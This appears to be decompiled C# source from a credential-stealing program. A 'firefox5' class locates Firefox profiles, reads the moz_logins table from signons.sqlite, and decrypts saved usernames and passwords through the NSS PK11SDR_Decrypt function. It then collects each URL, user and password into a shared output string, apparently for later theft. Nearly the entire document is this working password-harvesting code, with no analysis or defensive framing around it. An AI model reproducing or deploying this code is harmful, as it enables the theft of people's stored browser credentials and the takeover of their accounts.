// Token: 0x06000052 RID: 82 RVA: 0x00004698 File Offset: 0x00002898 public static int PK11SDR_Decrypt(ref firefox5.TSECItem data, ref firefox5.TSECItem result, int cx) { IntPtr procAddress = firefox5.GetProcAddress(firefox5.NSS3, "PK11SDR_Decrypt"); firefox5.DLLFunctionDelegate5 dllfunctionDelegate = (firefox5.DLLFunctionDelegate5)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(firefox5.DLLFunctionDelegate5)); return(dllfunctionDelegate(ref data, ref result, cx)); }
// Token: 0x0600004B RID: 75 RVA: 0x00003F68 File Offset: 0x00002168 public static string GetFire() { checked { try { bool flag = false; string text = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\"; string path = Environment.GetEnvironmentVariable("APPDATA") + "\\Mozilla\\Firefox\\Profiles"; string[] directories = Directory.GetDirectories(path); foreach (string text2 in directories) { bool flag2 = !flag; if (!flag2) { break; } string[] files = Directory.GetFiles(text2); foreach (string input in files) { flag2 = !flag; if (!flag2) { break; } bool flag3 = Regex.IsMatch(input, "signons.sqlite"); if (flag3) { firefox5.NSS_Init(text2); firefox5.signon = input; } } } string baseName = firefox5.signon; firefox5.TSECItem tsecitem = default(firefox5.TSECItem); firefox5.TSECItem tsecitem2 = default(firefox5.TSECItem); firefox5.TSECItem tsecitem3 = default(firefox5.TSECItem); firefox5.SQLiteBase5 sqliteBase = new firefox5.SQLiteBase5(baseName); DataTable dataTable = sqliteBase.ExecuteQuery("SELECT * FROM moz_logins;"); DataTable dataTable2 = sqliteBase.ExecuteQuery("SELECT * FROM moz_disabledHosts;"); try { foreach (object obj in dataTable2.Rows) { DataRow dataRow = (DataRow)obj; } } finally { IEnumerator enumerator; bool flag3 = enumerator is IDisposable; if (flag3) { (enumerator as IDisposable).Dispose(); } } long slot = firefox5.PK11_GetInternalKeySlot(); firefox5.PK11_Authenticate(slot, true, 0L); try { foreach (object obj2 in dataTable.Rows) { DataRow dataRow2 = (DataRow)obj2; string text3 = Convert.ToString(dataRow2["formSubmitURL"].ToString()); string text4 = text3; string text5 = ""; string text6 = ""; StringBuilder stringBuilder = new StringBuilder(dataRow2["encryptedUsername"].ToString()); int value = firefox5.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Length); IntPtr intPtr = new IntPtr(value); firefox5.TSECItem tsecitem4 = (firefox5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(firefox5.TSECItem)); bool flag3 = firefox5.PK11SDR_Decrypt(ref tsecitem4, ref tsecitem2, 0) == 0; if (flag3) { bool flag2 = tsecitem2.SECItemLen != 0; if (flag2) { byte[] array3 = new byte[tsecitem2.SECItemLen - 1 + 1]; intPtr = new IntPtr(tsecitem2.SECItemData); Marshal.Copy(intPtr, array3, 0, tsecitem2.SECItemLen); text5 = Encoding.UTF8.GetString(array3); } } StringBuilder stringBuilder2 = new StringBuilder(dataRow2["encryptedPassword"].ToString()); int value2 = firefox5.NSSBase64_DecodeBuffer(IntPtr.Zero, IntPtr.Zero, stringBuilder2, stringBuilder2.Length); intPtr = new IntPtr(value2); firefox5.TSECItem tsecitem5 = (firefox5.TSECItem)Marshal.PtrToStructure(intPtr, typeof(firefox5.TSECItem)); flag3 = (firefox5.PK11SDR_Decrypt(ref tsecitem5, ref tsecitem3, 0) == 0); if (flag3) { bool flag2 = tsecitem3.SECItemLen != 0; if (flag2) { byte[] array3 = new byte[tsecitem3.SECItemLen - 1 + 1]; intPtr = new IntPtr(tsecitem3.SECItemData); Marshal.Copy(intPtr, array3, 0, tsecitem3.SECItemLen); text6 = Encoding.UTF8.GetString(array3); } } p.OL = string.Concat(new string[] { p.OL, "|URL| ", text4, "\r\n|USR| ", text5, "\r\n|PWD| ", text6, "\r\n" }); } } finally { IEnumerator enumerator2; bool flag3 = enumerator2 is IDisposable; if (flag3) { (enumerator2 as IDisposable).Dispose(); } } } catch (Exception ex) { } string result; return(result); } }